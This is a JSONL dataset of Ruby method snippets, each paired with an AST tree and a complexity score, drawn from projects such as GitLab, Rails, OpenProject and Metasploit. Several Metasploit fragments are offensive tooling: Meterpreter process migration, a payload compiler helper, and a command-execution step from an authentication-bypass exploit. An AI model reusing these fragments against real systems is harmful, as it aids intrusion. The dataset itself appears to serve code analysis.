end","complexity_score":72.6,"ast_json":"{\"type\":\"def\",\"children\":[\"migrate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target_pid\"]},{\"type\":\"arg\",\"children\":[\"proc_name\"]},{\"type\":\"arg\",\"children\":[\"current_pid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_pid\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not migrate to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc_name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_pid\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_pid\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"current_pid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Already in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"open\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"open\"]},\"pid\"]}]},{\"type\":\"str\",\"children\":[\") as: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"config\"]},\"getuid\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"core\"]},\"migrate\",{\"type\":\"lvar\",\"children\":[\"target_pid\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully migrated to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"open\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"process\"]},\"open\"]},\"pid\"]}]},{\"type\":\"str\",\"children\":[\") as: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"config\"]},\"getuid\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"RequestError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not migrate to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"RuntimeError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not migrate to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proc_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]}]}]}","id":"d6c0670b-0c97-412b-b70f-51ec3067ec33"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/concerns/caching_array_resolver.rb","start_line":140,"raw_source":"def member_idx(idx)\n    ::Arel::Nodes::SqlLiteral.new(idx.to_s).as('union_member_idx')\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"member_idx\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"idx\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Arel\"]},\"Nodes\"]},\"SqlLiteral\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"idx\"]},\"to_s\"]}]},\"as\",{\"type\":\"str\",\"children\":[\"union_member_idx\"]}]}]}","id":"5e343b3c-3ad6-44f5-a58c-7a74aa5c5649"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/runner.rb","start_line":180,"raw_source":"def self.handle_interrupt\n        if RSpec.world.wants_to_quit\n          exit!(1)\n        else\n          RSpec.world.wants_to_quit = true\n\n          $stderr.puts(\n            \"\\nRSpec is shutting down and will print the summary report... Interrupt again to force quit \" \\\n            \"(warning: at_exit hooks will be skipped if you force quit).\"\n          )\n        end\n      end","complexity_score":8.23,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"handle_interrupt\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"world\"]},\"wants_to_quit\"]},{\"type\":\"send\",\"children\":[null,\"exit!\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"world\"]},\"wants_to_quit=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nRSpec is shutting down and will print the summary report... Interrupt again to force quit \"]},{\"type\":\"str\",\"children\":[\"(warning: at_exit hooks will be skipped if you force quit).\"]}]}]}]}]}]}","id":"18bc185d-e420-455e-9bbf-285672483297"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/osx/aarch64/exec.rb","start_line":139,"raw_source":"def compile_aarch64(asm_string)\n    require 'aarch64/parser'\n    parser = ::AArch64::Parser.new\n    asm = parser.parse without_inline_comments(asm_string)\n\n    asm.to_binary\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"compile_aarch64\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"asm_string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"aarch64/parser\"]}]},{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"AArch64\"]},\"Parser\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"asm\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"parse\",{\"type\":\"send\",\"children\":[null,\"without_inline_comments\",{\"type\":\"lvar\",\"children\":[\"asm_string\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"asm\"]},\"to_binary\"]}]}]}","id":"b534ecc7-fd77-4ed8-b709-918a78b0f333"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/connection_adapters/connection_handler_test.rb","start_line":258,"raw_source":"def test_retrieve_connection\n        assert @handler.retrieve_connection(@connection_name)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_retrieve_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@handler\"]},\"retrieve_connection\",{\"type\":\"ivar\",\"children\":[\"@connection_name\"]}]}]}]}","id":"abe512d4-12c0-4e4e-ba59-5364b2e7bc71"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/kas/agent_configurations_resolver.rb","start_line":23,"raw_source":"def can_read_agent_configuration?\n        current_user.can?(:read_cluster_agent, project)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"can_read_agent_configuration?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"read_cluster_agent\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"2d74ab7e-dbce-4064-9c9c-ce89eead4e1f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/classification_spec.rb","start_line":677,"raw_source":"def full_tag_name(tag)\n    Classification.name2tag(tag.name, tag.parent, \"\") # avoid \"managed\", it will get added later\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"full_tag_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Classification\"]},\"name2tag\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"parent\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"1e771680-27ce-4303-8bb4-35e1010ed314"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/project_storages/row_component.rb","start_line":68,"raw_source":"def edit_link\n      link_to \"\",\n              edit_project_settings_project_storage_path(project_id: project_storage.project, id: project_storage),\n              class: \"icon icon-edit\",\n              title: I18n.t(:button_edit)\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[null,\"edit_project_settings_project_storage_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_storage\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"project_storage\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"icon icon-edit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"button_edit\"]}]}]}]}]}]}","id":"17fbcc30-63ed-488b-8d32-5c1680621ad7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/api/errors_v2_api.rb","start_line":35,"raw_source":"def get_stats_v2_with_http_info(group_id, opts = {})\n      if @api_client.config.debugging\n        @api_client.config.logger.debug 'Calling API: ErrorsV2Api.get_stats_v2 ...'\n      end\n      # verify the required parameter 'group_id' is set\n      if @api_client.config.client_side_validation && group_id.nil?\n        fail ArgumentError, \"Missing the required parameter 'group_id' when calling ErrorsV2Api.get_stats_v2\"\n      end\n      # resource path\n      local_var_path = '/api/0/organizations/{groupId}/stats_v2'.sub('{' + 'groupId' + '}', CGI.escape(group_id.to_s))\n\n      # query parameters\n      query_params = opts[:query_params] || {}\n\n      # header parameters\n      header_params = opts[:header_params] || {}\n      # HTTP header 'Accept' (if needed)\n      header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n      # form parameters\n      form_params = opts[:form_params] || {}\n\n      # http body (model)\n      post_body = opts[:debug_body]\n\n      # return_type\n      return_type = opts[:debug_return_type] || 'Array<StatsObject>'\n\n      # auth_names\n      auth_names = opts[:debug_auth_names] || ['internalToken']\n\n      new_options = opts.merge(\n        :operation => :\"ErrorsV2Api.get_stats_v2\",\n        :header_params => header_params,\n        :query_params => query_params,\n        :form_params => form_params,\n        :body => post_body,\n        :auth_names => auth_names,\n        :return_type => return_type\n      )\n\n      data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n      if @api_client.config.debugging\n        @api_client.config.logger.debug \"API called: ErrorsV2Api#get_stats_v2\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n      end\n      return data, status_code, headers\n    end","complexity_score":56.8,"ast_json":"{\"type\":\"def\",\"children\":[\"get_stats_v2_with_http_info\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_id\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_client\"]},\"config\"]},\"debugging\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_client\"]},\"config\"]},\"logger\"]},\"debug\",{\"type\":\"str\",\"children\":[\"Calling API: ErrorsV2Api.get_stats_v2 ...\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_client\"]},\"config\"]},\"client_side_validation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_id\"]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Missing the required parameter 'group_id' when calling ErrorsV2Api.get_stats_v2\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"local_var_path\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/api/0/organizations/{groupId}/stats_v2\"]},\"sub\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"{\"]},\"+\",{\"type\":\"str\",\"children\":[\"groupId\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"}\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_id\"]},\"to_s\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query_params\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"query_params\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"header_params\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"header_params\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header_params\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_client\"]},\"select_header_accept\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"*/*\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"form_params\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"form_params\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug_body\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"return_type\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug_return_type\"]}]},{\"type\":\"str\",\"children\":[\"Array<StatsObject>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"auth_names\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"debug_auth_names\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"internalToken\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"operation\"]},{\"type\":\"sym\",\"children\":[\"ErrorsV2Api.get_stats_v2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"header_params\"]},{\"type\":\"lvar\",\"children\":[\"header_params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query_params\"]},{\"type\":\"lvar\",\"children\":[\"query_params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"form_params\"]},{\"type\":\"lvar\",\"children\":[\"form_params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"lvar\",\"children\":[\"post_body\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auth_names\"]},{\"type\":\"lvar\",\"children\":[\"auth_names\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"return_type\"]},{\"type\":\"lvar\",\"children\":[\"return_type\"]}]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\"]},{\"type\":\"lvasgn\",\"children\":[\"status_code\"]},{\"type\":\"lvasgn\",\"children\":[\"headers\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_client\"]},\"call_api\",{\"type\":\"sym\",\"children\":[\"GET\"]},{\"type\":\"lvar\",\"children\":[\"local_var_path\"]},{\"type\":\"lvar\",\"children\":[\"new_options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_client\"]},\"config\"]},\"debugging\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@api_client\"]},\"config\"]},\"logger\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"API called: ErrorsV2Api#get_stats_v2\\nData: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\"\\nStatus code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status_code\"]}]},{\"type\":\"str\",\"children\":[\"\\nHeaders: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"status_code\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]}","id":"b2d6d397-9ec7-4e26-b75f-b6ff1c060c9a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/unidata_udadmin_auth_bypass.rb","start_line":106,"raw_source":"def execute_command(cmd, _opts = {})\n    vprint_status('Sending OsCommand request')\n    sock.put(build_unirpc_message(args: [\n      # Message type\n      { type: :integer, value: UNIRPC_MESSAGE_OSCOMMAND },\n      { type: :string, value: cmd },\n    ]))\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Sending OsCommand request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"send\",\"children\":[null,\"build_unirpc_message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"const\",\"children\":[null,\"UNIRPC_MESSAGE_OSCOMMAND\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]}]}]}]}]}]}","id":"003d8e4a-3f71-4322-9902-d3bb70b51783"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/purging.rb","start_line":56,"raw_source":"def self.msg_timeout\n    ::Settings.performance.history.queue_timeout.to_i_with_method\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"msg_timeout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},\"performance\"]},\"history\"]},\"queue_timeout\"]},\"to_i_with_method\"]}]}","id":"d2a18307-ccf1-4604-b00f-65942c9f37d4"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/components/my/time_tracking/list_component.rb","start_line":113,"raw_source":"def date_caption(date)\n        if mode == :month\n          if Date.current.beginning_of_week(week_start_day) == date\n            t(:label_this_week)\n          elsif 1.week.ago.beginning_of_week(week_start_day) == date\n            t(:label_last_week)\n          end\n        elsif date.today?\n          t(:label_today)\n        elsif date.yesterday?\n          t(:label_yesterday)\n        end\n      end","complexity_score":28.6,"ast_json":"{\"type\":\"def\",\"children\":[\"date_caption\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mode\"]},\"==\",{\"type\":\"sym\",\"children\":[\"month\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"current\"]},\"beginning_of_week\",{\"type\":\"send\",\"children\":[null,\"week_start_day\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"date\"]}]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"label_this_week\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"week\"]},\"ago\"]},\"beginning_of_week\",{\"type\":\"send\",\"children\":[null,\"week_start_day\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"date\"]}]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"label_last_week\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"today?\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"label_today\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"yesterday?\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"label_yesterday\"]}]},null]}]}]}]}","id":"6cc8d5e4-5800-4638-886d-bc9c6396863a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/sonicwall.rb","start_line":77,"raw_source":"def check_setup\n          request_params = {\n            'method' => 'GET',\n            'uri' => normalize_uri('/sonicui/7/login/')\n          }\n          res = send_request(request_params)\n          if res&.code == 200 && res.body&.include?('SonicWall')\n            return false\n          end\n\n          'Unable to locate \"SonicWall\" in body. (Is this really SonicWall?)'\n        end","complexity_score":11.23,"ast_json":"{\"type\":\"def\",\"children\":[\"check_setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"/sonicui/7/login/\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"lvar\",\"children\":[\"request_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"SonicWall\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"str\",\"children\":[\"Unable to locate \\\"SonicWall\\\" in body. (Is this really SonicWall?)\"]}]}]}","id":"a47587b7-34d9-4c42-a608-4df7ffa53fb2"}
